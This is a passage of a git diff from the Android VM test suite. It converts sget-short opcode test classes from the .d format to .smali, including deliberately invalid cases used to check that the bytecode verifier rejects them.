-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali
new file mode 100644
index 0000000..0cbcdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_15.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.d
deleted file mode 100644
index 48f416c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_16.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali
new file mode 100644
index 0000000..bb0b686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_16.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.d
deleted file mode 100644
index 1cc7398..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_17.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_17
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali
new file mode 100644
index 0000000..3f93360
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_17.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.d
deleted file mode 100644
index 7f3ff6b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_18.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali
new file mode 100644
index 0000000..e704e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_18.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.d
deleted file mode 100644
index b9841ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_19.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali
new file mode 100644
index 0000000..b62b4ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_19.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.d
deleted file mode 100644
index 1ae3803..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_20.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali
new file mode 100644
index 0000000..7493fd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_20.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.d
deleted file mode 100644
index 9dcbd247..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_3.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_3
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v3, dot.junit.opcodes.sget_short.d.T_sget_short_3.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali
new file mode 100644
index 0000000..426be5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_3.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v3, Ldot/junit/opcodes/sget_short/d/T_sget_short_3;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.d
deleted file mode 100644
index ab070e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_4.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_4
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_4.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali
new file mode 100644
index 0000000..d9991bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_4.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_4;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.d
deleted file mode 100644
index b7c451a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_5.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_5
-.super java/lang/Object
-
-.field public i1 S
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 77
-       iput-short v2, v3, dot.junit.opcodes.sget_short.d.T_sget_short_5.i1 S
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_5.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali
new file mode 100644
index 0000000..233e577
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_5.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_5;
+.super  Ljava/lang/Object;
+
+.field public i1:S
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-short v2, v3, Ldot/junit/opcodes/sget_short/d/T_sget_short_5;->i1:S
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_5;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.d
deleted file mode 100644
index ce1ec34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_6.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.TestStubs.TestStubField S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali
new file mode 100644
index 0000000..d9985a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_6.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/TestStubs;->TestStubField:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.d
deleted file mode 100644
index 2c82957..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_7.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_7no_class.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali
new file mode 100644
index 0000000..be7b196
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_7.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_7no_class;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.d
deleted file mode 100644
index 645aa56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_8.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_8.i1N S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali
new file mode 100644
index 0000000..5ef339a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_8.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_8;->i1N:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d.done
